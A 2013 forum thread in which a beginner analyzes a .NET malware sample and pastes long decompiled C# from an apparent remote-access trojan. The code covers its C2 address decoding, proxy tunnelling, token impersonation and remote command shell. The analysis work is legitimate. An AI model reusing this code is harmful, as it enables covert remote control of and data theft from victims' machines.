Author Topic: reversing .net  (Read 2557 times)

0 Members and 1 Guest are viewing this topic.

Offline bn1st

  • /dev/null
  • *
  • Posts: 10
  • Cookies: -1
    • View Profile
reversing .net
« on: September 07, 2013, 06:31:27 pm »
File Type:
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Trying to analyze  a malware filesize 26kb.

Strings shows diff mods/functions or whatever like the following:

get_ProcessName (inlcuding memory position)
get_Processes
Set Domian
Set Username


Saw the following functions above when I decompile it using ILSpy.

Question is locating address on OllyDbg might give some data on the ascii pane right?
anyway, someone could at get a picture  of what im trying to do, Im just reading all codes on ILSpy, which is
helpful , I notice a Dotfuscator dunno if its a method/function but has some info on it. I could post some of my findings here if interested.


Offline Deque

  • P.I.N.N.
  • Global Moderator
  • Overlord
  • *
  • Posts: 1203
  • Cookies: 518
  • Programmer, Malware Analyst
    • View Profile
Re: reversing .net
« Reply #1 on: September 07, 2013, 08:21:48 pm »
I don't quite understand your question. Which address are you talking about?
Why would you use Ollydbg for a .NET assembly? A .NET assembly runs in a virtual machine and therefor can't be debugged by Ollydbg.

Offline bn1st

  • /dev/null
  • *
  • Posts: 10
  • Cookies: -1
    • View Profile
Re: reversing .net
« Reply #2 on: September 07, 2013, 10:14:52 pm »
Just observing when I decompiled the .exe using ILSPY, those methods/function could be noticeable as well on Ollydbg,

here is what I did:
use BinText on winXPSP2 then saw those on my previous post. getDomain, getIPaddress etc. Ok cool so I thought maybe getting the Mem Pos field on BinText would direct me something on OllyDbg address surprisingly your right it failed. My expectation was like I might see something on the ASCII side... but shit gets terminated. I will post later what I have work on thank you.



Offline bn1st

  • /dev/null
  • *
  • Posts: 10
  • Cookies: -1
    • View Profile
Re: reversing .net
« Reply #3 on: September 08, 2013, 07:36:35 pm »
I am putting out codes on what I have decompiled:  I hi-lighted the line of code that seem gives me an idea what .exe file's behaviour.
I am not sure as well with the bunch of chinese characters when I ran it on my vm XP sandbox code there was like something like "ud9fb". so what I did before was like python -c "print u'\ud8f7'" but gave me ���.  Lol i am still new to this but what you guys think.
Code: [Select]
    public a9()
    {
        [b]this.a = Environment.get_UserName();[/b]
        [b]this.b = Environment.get_UserDomainName();[/b]
        this.c = "";
        this.d = a9.d.a;
      [b]  this.f = Environment.get_CommandLine();[/b]
        this.g = a9.b.b;
      [b]  this.h = Environment.get_CurrentDirectory();[/b]
        this.i = default(a9.e);
        this.i.a = Marshal.SizeOf(this.i);
        this.i.l = 8;
        this.i.j = 50;
      [b]  using (Process currentProcess = Process.GetCurrentProcess())[/b]
        {
            [b]this.e = currentProcess.get_StartInfo().get_FileName();[/b]
         [b]   this.i.d = currentProcess.get_MainWindowTitle();[/b]
        }
        this.j = default(a9.g);
        this.k = IntPtr.Zero;
    }

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
using System;
using System.Net.Sockets;
[b]public delegate void ak(TcpClient A_0, bj A_1);[/b]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
using Shared;
using System;
using System.Net;
using System.Net.Sockets;
public class ar : br
{
    public ar(RcSession A_0, a7 A_1) : base(A_0, A_1)
    {
    }
    public override bool a(a1 A_0)
    {
        int a_ = 3;
     [b]   if (A_0.c == <Module>.a("臮铰蓲", a_))[/b]
        {
            if (true)
            {
            }
            string[] array = A_0.d.Split(new char[]
            {
                ','
            });
           [b] this.a(IPAddress.Parse(array[0]), int.Parse(array[1]));[/b]
            return true;
        }
        return base.a(A_0);
    }
   [b] public new void a(IPAddress A_0, int A_1)[/b]
    {
        if (true)
        {
        }
     [b]   UdpClient udpClient = new UdpClient();[/b]
        udpClient.Connect(A_0, A_1);
        base.a(new @as(udpClient, this)
        {
            f = new IPEndPoint(A_0, A_1),
            e = (IPEndPoint)udpClient.get_Client().get_LocalEndPoint()
        });

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
using System;
namespace Shared
{
    [Serializable]
  [b]  public class BasicInfo[/b]
    {
        public int Version
        {
            get;
            set;
        }
[b]        public string HostName[/b]
        {
            get;
            set;
        }
[b]        public string osVersion[/b]
        {
            get;
            set;
        }
        public string tm
        {
            get;
            set;
        }
        public int tz
        {
            get;
            set;
        }
        public override string c()
        {
            int a_ = 13;
            if (true)
            {
            }
[b]            return string.Format(<Module>.a("꿸黺迼賾栀氂欄㴆⤈瀊㴌爎ᬐ嬒稔搖洘㬚匜縞䰠䘢ἤܦ刨ᨪ倬┮縰䀲༴᜶䈸ऺ䀼㔾ᕀ⩂⡄≆獈歊㙌籎ⱐ奒Ŕ㹖㑘㹚ݜぞའ٢彤䝦ቨ彪ၬ", a_), new object[][/b]
            {
               [b] this.Version,
                this.HostName,[/b]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
public class bx
{
    public const int a = -1;
    public const int b = 2;
    public const int c = 4;
    public const int d = 3;
    public const int e = 0;
[b]    public static WindowsImpersonationContext f;[/b]
    [DllImport("ntdll.dll")]
    [b]public static extern void RtlAdjustPrivilege(int A_0, bool A_1, bool A_2, out bool A_3);[/b]
    [DllImport("user32.dll")]
[b]    public static extern IntPtr GetForegroundWindow();[/b]
    [DllImport("user32.dll", SetLastError = true)]
 [b]   public static extern uint GetWindowThreadProcessId(IntPtr A_0, out int A_1);[/b]
    [DllImport("kernel32.dll")]
    public static extern bool AttachConsole(int A_0);
    [DllImport("kernel32.dll")]
    [b]private static extern long GetVolumeInformation(string A_0, StringBuilder A_1, uint A_2, ref uint A_3, ref uint A_4, ref uint A_5, StringBuilder A_6, uint A_7);[/b]
    public static uint c()
    {
        int a_ = 14;
        if (true)
        {
        }
        uint result = 0u;
        uint num = 0u;
        StringBuilder stringBuilder = new StringBuilder(256);
        uint num2 = 0u;
        StringBuilder stringBuilder2 = new StringBuilder(256);
     [b]   string a_2 = Environment.get_SystemDirectory().Substring(0, 1) + <Module>.a("샹ꃻ", a_);[/b]
        bx.GetVolumeInformation(a_2, stringBuilder, (uint)stringBuilder.get_Capacity(), ref result, ref num, ref num2, stringBuilder2, (uint)stringBuilder2.get_Capacity());
        return result;
    }
    public static uint b()
    {
        uint num;
        char c;
        while (true)
        {
            num = bx.c();
            c = 'L';
  [b]          string machineName = Environment.get_MachineName();[/b]
            int num2 = 0;
            if (true)
            {
            }
            int num3 = 0;
            while (true)
            {
                switch (num3)
                {
                case 0:
                    goto IL_43;
                case 1:
                    goto IL_64;
                case 2:
                {
                    if (num2 >= machineName.get_Length())
                    {
                        num3 = 1;
                        continue;
                    }
                  [b]  char c2 = machineName.get_Chars(num2);[/b]
                    c ^= c2;
                    num2++;
                    num3 = 3;
                    continue;
                }
                case 3:
                    goto IL_43;
                }
                break;
                IL_43:
                num3 = 2;
            }
        }
        IL_64:
        byte b = (byte)c;
        uint num4 = (uint)b + (uint)b * 256u + (uint)b * 65536u + (uint)b * 16777216u;
        return num ^ num4;
    }
    [DllImport("user32.dll")][b]
    public static extern IntPtr SendMessage(IntPtr A_0, int A_1, int A_2, int A_3);[/b]
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool GenerateConsoleCtrlEvent(uint A_0, uint A_1);
    [DllImport("advapi32.dll", SetLastError = true)]
 [b]   public static extern int LogonUserA(string A_0, string A_1, string A_2, int A_3, int A_4, ref IntPtr A_5);[/b]
    [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern int DuplicateToken(IntPtr A_0, int A_1, ref IntPtr A_2);
    [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern bool RevertToSelf();
    [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
    public static extern void Sleep(int A_0);
    [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
    public static extern bool CloseHandle(IntPtr A_0);
    public static bool a(string A_0, string A_1, string A_2)
    {
        int a_ = 18;
        IntPtr zero;
        IntPtr zero2;
        while (true)
        {
            zero = IntPtr.Zero;
            zero2 = IntPtr.Zero;
            int num = 15;
            while (true)
            {
                switch (num)
                {
                case 0:
                    goto IL_1C9;
                case 1:
                    bx.CloseHandle(zero2);
                    num = 0;
                    continue;
                case 2:
                    bx.CloseHandle(zero);
                    num = 3;
                    continue;
                case 3:
                    goto IL_110;
                case 4:
                    goto IL_21E;
                case 5:
                   [b] Trace.WriteLine(<Module>.a("賽旿琁␃椅指", a_));[/b]
                    num = 6;
                    continue;
                case 6:
                    if (bx.LogonUserA(A_0, A_1, A_2, 3, 0, ref zero) != 0)
                    {
                        num = 9;
                        continue;
                    }
                 [b]   Trace.WriteLine(string.Format(<Module>.a("鋽泿朁㸃★猇㨉焋", a_), Marshal.GetLastWin32Error()));[/b]
                    num = 13;
                    continue;
                case 7:
                    if (zero != IntPtr.Zero)
                    {
                        num = 2;
                        continue;
                    }
                    goto IL_110;
                case 8:
                    goto IL_183;
                case 9:
               [b]     Trace.WriteLine(<Module>.a("鋽痿持␃椅指", a_));[/b]
                    num = 10;
                    continue;
                case 10:
                    if (bx.DuplicateToken(zero, 2, ref zero2) != 0)
                    {
                        num = 12;
                        continue;
                    }
                    goto IL_183;
                case 11:
                    if (zero2 != IntPtr.Zero)
                    {
                        num = 1;
                        continue;
                    }
                    return false;
                case 12:
                {
                    if (true)
                    {
                    }
                    WindowsIdentity windowsIdentity = new WindowsIdentity(zero2);
                    bx.f = windowsIdentity.Impersonate();
                    num = 14;
                    continue;
                }
                case 13:
                    goto IL_183;
                case 14:
                    if (bx.f != null)
                    {
                        num = 4;
                        continue;
                    }
                    goto IL_183;
                case 15:
                    if (bx.RevertToSelf())
                    {
                        num = 5;
                        continue;
                    }
                    [b]Trace.WriteLine(string.Format(<Module>.a("賽泿朁㸃★猇㨉焋", a_), Marshal.GetLastWin32Error()));[/b]
                    num = 8;
                    continue;
                }
                break;
                IL_110:
                num = 11;
                continue;
                IL_183:
                num = 7;
            }
        }
        IL_1C9:
        return false;
        IL_21E:
        bx.CloseHandle(zero);
        bx.CloseHandle(zero2);
        return true;
    }
    public static void a()
    {
        bx.f.Undo();
    }
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   
[b] public ca(IPAddress A_0, int A_1)[/b]
    {
        this.b = A_0;
        this.c = A_1;
       [b] this.a = new TcpListener(this.b, this.c);[/b]
    }
    public void a()
    {
        if (true)
        {
        }
        this.a.set_ExclusiveAddressUse(false);
       [b] this.a.get_Server().SetSocketOption(65535, 4, 1); <-- shit looks like a port scan[/b]
        this.a.Start();
        this.e = true;
        this.a.BeginAcceptTcpClient(new AsyncCallback(ca.a), this);
    }

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    private void a(object A_0, UnhandledExceptionEventArgs A_1)
        {
            int a_ = 6;
    [b]        Console.WriteLine(<Module>.a("뿱鯳鋵\ud8f7黹鏻鏽㫿∁", a_) + A_1.ToString());[/b]
        }
        private Assembly a(object A_0, ResolveEventArgs A_1)
        {
            int a_ = 11;
            while (true)
            {
                int num = 60000;
                int num2 = 0;
              [b]  A_1.get_Name().Substring(0, A_1.get_Name().IndexOf(',')) + <Module>.a("\ud9f6鷸韺釼", a_);[/b]
                int num3 = 2;
                while (true)
                {
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    public class [b]MyFileInfo[/b]
    {
   [b]     public string name;
        public string fullName;[/b]
        public long size;
[b]        public DateTime createdTime;
        public DateTime lastModifyTime;
        public string storName;
        public MyFileInfo()[/b]
        {

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
using Shared;
using System;
using System.Net.Sockets;
public class r : z
{
[b]    private new TcpClient a;[/b]
    private new NetworkStream b;
    private new string c;
    private new int d;
    private byte[] e;
[b]    public r(RcSession A_0, a7 A_1, TcpClient A_2, string A_3, int A_4) : base(A_0, A_1)[/b]
    {
        this.a = A_2;
        this.c = A_3;
        this.d = A_4;
    }
    public override bool a()
    {
        if (true)
        {
        }
      [b]  this.b = this.a.GetStream();[/b]
        this.a(this.c, this.d);
        this.e = new byte[RcChannel.IO_BUFFER_SIZE];
        [b]this.b.BeginRead(this.e, 0, RcChannel.IO_BUFFER_SIZE, new AsyncCallback(this.a), this);[/b]
        return base.a();
    }
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Staff edit: ever heard of god damn code tags?
Kulverstukas <-----SORRRY
« Last Edit: September 08, 2013, 07:40:32 pm by bn1st »

Offline bn1st

  • /dev/null
  • *
  • Posts: 10
  • Cookies: -1
    • View Profile
Re: reversing .net
« Reply #4 on: September 14, 2013, 03:47:26 am »
So basically still obfuscated on my previous post I have to use another tool which is .Net Reflector.
I verified some of it when I used BinText.


Code: [Select]
GClass26 class2 = new GClass26(args);
             bool flag1 = class2.method_0("f") == "sh";
             if (args.Length == 0)
             {
                 string s = "alice'srabbithole";
                 string str2 = null;
                 using (MD5CryptoServiceProvider provider = new MD5CryptoServiceProvider())
                 {
                     string str5 = BitConverter.ToString(provider.ComputeHash(Encoding.ASCII.GetBytes(s))).Replace("-", "");
                     string str6 = Class9.smethod_3();
                     if (!str6.StartsWith(str5))
                     {
                         str2 = str6;
                     }
                 }
                 if (str2 != null)
                 {
                     byte[] bytes = new byte[2];
                     byte[] buffer4 = Encoding.ASCII.GetBytes(str2);
                     bytes[0] = buffer4[0];
                     bytes[1] = buffer4[1];
                     byte length = byte.Parse(Encoding.ASCII.GetString(bytes), NumberStyles.HexNumber);
                     byte[] buffer2 = Convert.FromBase64String(str2.Substring(2, length));
                     for (int i = 0; i < buffer2.Length; i++)
                     {
                         buffer2[i] = (byte) (buffer2[i] ^ 170);
                     }
                     string[] strArray = Encoding.ASCII.GetString(buffer2).Split(new char[] { ':' });
                     RcSlaveSession session2 = new RcSlaveSession(strArray[0], int.Parse(strArray[1]));
                     if (session2.vmethod_8())
                     {
                         session2.vmethod_5();
                         session2.OnClose += new EventHandler(Class14.smethod_1);
                         while (!bool_0)
                         {
                             Thread.Sleep(0x3e8);
                         }
                     }
                 }
             }
             if (class2.method_0("iu") != null)
             {
                 if (!GClass33.smethod_2(class2.method_0("iu"), class2.method_0("id"), class2.method_0("ip")))
                 {
                     Trace.WriteLine("iu error");
                     return;
                 }
                 Trace.WriteLine(Environment.UserName);
             }
             if (class2.method_0("f") == "sh")
             {
                 RcSlaveSession session;
                 if (class2.method_0("x") != null)
                 {
                     TcpClient client = new TcpClient(class2.method_0("x"), int.Parse(class2.method_0("y")));
                     string str3 = string.Format("CONNECT {0}:{1} HTTP/1.0\n", class2.method_0("s"), class2.method_0("p"));
                     if (class2.method_0("u") != null)
                     {
                         str3 = str3 + string.Format("Authorization: Basic {0}\n", Convert.ToBase64String(Encoding.ASCII.GetBytes(class2.method_0("u") + ":" + class2.method_0("w"))));
                     }
                     str3 = str3 + "\n";
                     client.Client.Send(Encoding.ASCII.GetBytes(str3));
                     byte[] buffer = new byte[client.ReceiveBufferSize];
                     StringBuilder builder = new StringBuilder();
                     int count = 0;
                     long num4 = 0L;
                     do
                     {
                         count = client.Client.Receive(buffer, SocketFlags.None);
                         num4 += count;
                         builder.Append(Encoding.UTF8.GetString(buffer, 0, count));
                     }
                     while (client.Client.Available > 0);
                     if (builder.ToString().IndexOf(" 200 ") <= 0)
                     {
                         Trace.WriteLine(builder.ToString());
                         return;
                     }
                     session = new RcSlaveSession(client);
                 }
                 else if (class2.method_0("l") != null)
                 {
                     tcpListener_0 = new TcpListener(IPAddress.Parse("0.0.0.0"), int.Parse(class2.method_0("p")));
                     tcpListener_0.ExclusiveAddressUse = false;
                     tcpListener_0.Server.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1);
                     tcpListener_0.Start();
                     ThreadPool.QueueUserWorkItem(new WaitCallback(Class14.smethod_0));
                     TcpClient client2 = tcpListener_0.AcceptTcpClient();
                     if (tcpListener_0 != null)
                     {
                         tcpListener_0.Stop();
 
 
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   if ((dictionary.Count > 0) && this.bool_2)
     {
         this.stringBuilder_0.Append(",\"$map\":");
         this.method_18(dictionary);
     }
     this.int_1--;
     this.method_13();
     this.stringBuilder_0.Append('}');
     this.int_1--;
 }
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 public override bool vmethod_5(GClass40 gclass40_0)
 {
     if (gclass40_0.string_0 == "mfcnt")
     {
         base.method_0(string.Format("Remote site has got {0} files.", gclass40_0.string_1));
         return true;
     }
     return base.vmethod_5(gclass40_0);
 }
 
 
 
 
   public override bool vmethod_5(GClass40 gclass40_0)
 {
     if (gclass40_0.string_0 == "mfcnt")
     {
         base.method_0(string.Format("Remote site has got {0} files.", gclass40_0.string_1));
         return true;
     }
     return base.vmethod_5(gclass40_0);
 }
 
 
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
 private void method_13(string string_0)
 {
     try
     {
         Process[] processes;
         int num2;
         Process process;
         string str5;
         string str6;
         string str9;
         GClass53 class6;
         if (this.gclass52_0 != null)
         {
             this.gclass52_0.vmethod_2(string_0 + "\n");
             return;
         }
         this.method_22(string.Format(@"{0} [{1}\{2}@{3} {4}]{5} {6}", new object[] { Environment.CurrentDirectory, Environment.UserDomainName, Environment.UserName, Environment.MachineName, DateTime.Now, this.bool_2 ? "#" : "$", string_0 }));
         GClass53 class2 = new GClass53(string_0);
         string key = class2.method_2();
         if (key != null)
         {
             int num3;
             if (Class17.dictionary_0 == null)
             {
                 Dictionary<string, int> dictionary1 = new Dictionary<string, int>(14);
                 dictionary1.Add("dir", 0);
                 dictionary1.Add("cd", 1);
                 dictionary1.Add("md", 2);
                 dictionary1.Add("del", 3);
                 dictionary1.Add("copy", 4);
                 dictionary1.Add("ren", 5);
                 dictionary1.Add("type", 6);
                 dictionary1.Add("ps", 7);
                 dictionary1.Add("kill", 8);
                 dictionary1.Add("touch", 9);
                 dictionary1.Add("help", 10);
                 dictionary1.Add("exit", 11);
                 dictionary1.Add("", 12);
                 dictionary1.Add("runas", 13);
                 Class17.dictionary_0 = dictionary1;
             }
             if (Class17.dictionary_0.TryGetValue(key, out num3))
             {
                 switch (num3)
                 {
                     case 0:
                     {
                         this.method_22("");
                         string str7 = (class2.method_4() != null) ? class2.method_4().Trim(new char[] { ' ', '"' }) : Environment.CurrentDirectory;
                         this.method_14(str7);
                         this.method_22("");
                         return;
                     }
                     case 1:
                         str5 = (class2.method_4() != null) ? class2.method_4().Trim(new char[] { ' ', '"' }) : Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
                         if (!str5.StartsWith("."))
                         {
                             goto Label_0279;
                         }
                         str6 = Path.Combine(Environment.CurrentDirectory, str5).ToString();
                         goto Label_0287;
 
                     case 2:
                         Directory.CreateDirectory(class2.method_4().Trim(new char[] { ' ', '"' }));
                         return;
 
                     case 3:
                         str9 = class2.method_4().Trim(new char[] { ' ', '"' });
                         if (!File.Exists(str9))
                         {
                             goto Label_030F;
                         }
                         File.Delete(str9);
                         this.method_22("file deleted.");
                         return;
 
                     case 4:
                     {
                         GClass53 class3 = new GClass53(class2.method_4());
                         string sourceFileName = class3.method_2();
                         string destFileName = class3.method_4().Trim(new char[] { ' ', '"' });
                         File.Copy(sourceFileName, destFileName, true);
                         this.method_22("1 file copied.");
                         return;
                     }
                     case 5:
                     {
                         GClass53 class4 = new GClass53(class2.method_4());
                         string str3 = class4.method_2();
                         string str4 = class4.method_4().Trim(new char[] { ' ', '"' });
                         File.Move(str3, str4);
                         this.method_22("1 file renamed.");
                         return;
                     }
                     case 6:
                         this.method_22(File.ReadAllText(class2.method_4().Trim(new char[] { ' ', '"' })));
                         return;
 
                     case 7:
                         processes = Process.GetProcesses();
                         num2 = 0;
                         goto Label_04A1;
 
                     case 8:
                         Process.GetProcessById(int.Parse(class2.method_4())).Kill();
                         this.method_22("process killed.");
                         return;
 
                     case 9:
                         if (class2.method_4() != null)
                         {
                             goto Label_04EF;
                         }
                         this.method_22(@"touch targetPath -m file.* -r ref\to\some");
                         return;
 
                     case 10:
                         this.method_22("dir cd md del copy ren type ps kill touch help runas exit");
                         return;
 
                     case 11:
                         this.method_21();
                         return;
 
                     case 12:
                         return;
 
                     case 13:
                         if (class2.method_4() != null)
                         {
                             goto Label_0575;
                         }
                         this.method_22("runas /d domain /u user /p pass [/wp] /e cmdline");
                         return;
                 }
             }
         }
         goto Label_05D5;
     Label_0279:
         str6 = Path.GetFullPath(str5).ToString();
     Label_0287:
         Environment.CurrentDirectory = str6;
         this.method_22(Environment.CurrentDirectory);
         return;
     Label_030F:
         if (Directory.Exists(str9))
         {
             Directory.Delete(str9);
             this.method_22("directory deleted.");
         }
         else
         {
             this.method_22("Not found: " + str9);
         }
         return;
     Label_042F:
         process = processes[num2];
         this.method_22(string.Format("{0}\t{1}\t{2}\t{3}\t{4}\t{5}", new object[] { process.ProcessName, process.Id, process.MainWindowTitle, process.StartInfo.FileName, process.StartInfo.Arguments, process.StartInfo.UserName }));
         num2++;
     Label_04A1:
         if (num2 < processes.Length)
         {
             goto Label_042F;
         }
         return;
     Label_04EF:
         class6 = new GClass53(class2.method_4());
         string str10 = class6.method_2();
         string str11 = class6.method_10()["r"];
         string str12 = class6.method_10()["m"];
         new GClass36().method_0(str10, str12, str11);
         return;
     Label_0575:
         this.method_25(class2.method_10()["e"], class2.method_10()["d"], class2.method_10()["u"], class2.method_10()["p"], class2.method_10().ContainsKey("wp"));
         return;
     Label_05D5:
         if ((string_0 != null) && (string_0.Trim() != ""))
         {
             try
             {
                 GClass42 class5 = GClass41.smethod_2(string_0);
                 this.gclass52_0 = new GClass52(class5.string_0, class5.string_1);
                 this.gclass52_0.method_0(new GDelegate14(this.method_18));
                 this.gclass52_0.method_4(new GDelegate16(this.method_17));
                 this.gclass52_0.vmethod_0();
             }
             catch (Exception exception)
             {
                 this.method_22(exception.ToString());
                 this.gclass52_0 = null;
             }
         }
     }
     catch (Exception exception2)
     {
         if (exception2.Message == "gen error")
         {
             throw exception2;
         }
         this.method_23("in SS: \n", exception2);
     }
 }
 
 
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 private void method_14(string string_0)
 {
     if (Directory.Exists(string_0))
     {
         DirectoryInfo info = new DirectoryInfo(string_0);
         this.method_22("Directory of " + info.FullName);
         this.method_22("");
         foreach (FileData data in GClass20.smethod_0(string_0))
         {
             if ((data.Attributes & FileAttributes.Directory) == FileAttributes.Directory)
             {
                 this.method_22(this.method_15(data.LastWriteTime, data.Name, data.Attributes.ToString().Substring(0, 3)));
             }
             else
             {
                 this.method_22(this.method_16(data.LastWriteTime, data.Name, data.Size));
             }
         }
     }
     else if (File.Exists(string_0))
     {
         FileInfo info2 = new FileInfo(string_0);
         this.method_22(this.method_16(info2.LastWriteTime, info2.Name, info2.Length));
     }
     else
     {
         this.method_22("no such dir/file.");
     }
 }
 
 
 
 
   private void method_14(string string_0)
 {
     if (Directory.Exists(string_0))
     {
         DirectoryInfo info = new DirectoryInfo(string_0);
         this.method_22("Directory of " + info.FullName);
         this.method_22("");
         foreach (FileData data in GClass20.smethod_0(string_0))
         {
             if ((data.Attributes & FileAttributes.Directory) == FileAttributes.Directory)
             {
                 this.method_22(this.method_15(data.LastWriteTime, data.Name, data.Attributes.ToString().Substring(0, 3)));
             }
             else
             {
                 this.method_22(this.method_16(data.LastWriteTime, data.Name, data.Size));
             }
         }
     }
     else if (File.Exists(string_0))
     {
         FileInfo info2 = new FileInfo(string_0);
         this.method_22(this.method_16(info2.LastWriteTime, info2.Name, info2.Length));
     }
     else
     {
         this.method_22("no such dir/file.");
     }
 }
 
 
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 public override bool vmethod_11()
 {
     this.bool_2 = this.method_12();
     ThreadPool.QueueUserWorkItem(new WaitCallback(this.method_19), null);
     this.method_22("A Simple Shell. More by type help.\n");
     return base.vmethod_11();
 }
 
 
 
 
   public override bool vmethod_11()
 {
     this.bool_2 = this.method_12();
     ThreadPool.QueueUserWorkItem(new WaitCallback(this.method_19), null);
     this.method_22("A Simple Shell. More by type help.\n");
     return base.vmethod_11();
 }
 
 
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 public static IEnumerable<FileData> smethod_2(string string_0, string string_1, SearchOption searchOption_0)
 {
     if (string_0 == null)
     {
         throw new ArgumentNullException("path");
     }
     if (string_1 == null)
     {
         throw new ArgumentNullException("searchPattern");
     }
     if ((searchOption_0 != SearchOption.TopDirectoryOnly) && (searchOption_0 != SearchOption.AllDirectories))
     {
         throw new ArgumentOutOfRangeException("searchOption");
     }
     return new Class2(Path.GetFullPath(string_0), string_1, searchOption_0);
 }
 
 
 
 
   public static IEnumerable<FileData> smethod_2(string string_0, string string_1, SearchOption searchOption_0)
 {
     if (string_0 == null)
     {
         throw new ArgumentNullException("path");
     }
     if (string_1 == null)
     {
         throw new ArgumentNullException("searchPattern");
     }
     if ((searchOption_0 != SearchOption.TopDirectoryOnly) && (searchOption_0 != SearchOption.AllDirectories))
     {
         throw new ArgumentOutOfRangeException("searchOption");
     }
     return new Class2(Path.GetFullPath(string_0), string_1, searchOption_0);
 }
 
 
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 public GClass28(int int_1)
 {
     if (int_1 < 0)
     {
         throw new ArgumentException("Semaphore must have a count of at least 0.", "count");
     }
     this.int_0 = int_1;
 }
 
 
 
 
   public GClass28(int int_1)
 {
     if (int_1 < 0)
     {
         throw new ArgumentException("Semaphore must have a count of at least 0.", "count");
     }
     this.int_0 = int_1;
 }
 
 
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 public void method_8(IPEndPoint ipendPoint_1)
 {
     if (this.socket_0 != null)
     {
         throw new GException0("Listener has already started.  Changing the endpoint is not allowed.");
     }
     this.ipendPoint_0 = ipendPoint_1;
 }
 
 
 
 
   public void method_8(IPEndPoint ipendPoint_1)
 {
     if (this.socket_0 != null)
     {
         throw new GException0("Listener has already started.  Changing the endpoint is not allowed.");
     }
     this.ipendPoint_0 = ipendPoint_1;
 }
 
 
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 public void method_9()
 {
     if (this.ipendPoint_0 == null)
     {
         throw new GException0("EndPoint not initialized.");
     }
     if (this.socket_0 != null)
     {
         throw new GException0("Already listening.");
     }
     this.socket_0 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
     this.socket_0.Bind(this.ipendPoint_0);
     this.socket_0.Listen(this.int_0);
     this.socket_0.BeginAccept(new AsyncCallback(this.method_11), null);
 }
 
 
 
 
   public void method_9()
 {
     if (this.ipendPoint_0 == null)
     {
         throw new GException0("EndPoint not initialized.");
     }
     if (this.socket_0 != null)
     {
         throw new GException0("Already listening.");
     }
     this.socket_0 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
     this.socket_0.Bind(this.ipendPoint_0);
     this.socket_0.Listen(this.int_0);
     this.socket_0.BeginAccept(new AsyncCallback(this.method_11), null);
 }
 
 
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 private void method_2(string string_0, List<Regex> list_0)
 {
     Trace.Write("Process " + string_0 + " ...");
     try
     {
         int num2 = 0;
         string tempFileName = Path.GetTempFileName();
         using (StreamWriter writer = new StreamWriter(tempFileName))
         {
             using (StreamReader reader = new StreamReader(string_0))
             {
                 string str2;
                 while ((str2 = reader.ReadLine()) != null)
                 {
                     bool flag = false;
                     using (List<Regex>.Enumerator enumerator = list_0.GetEnumerator())
                     {
                         while (enumerator.MoveNext())
                         {
                             Regex current = enumerator.Current;
                             if (current.Match(str2).Success)
                             {
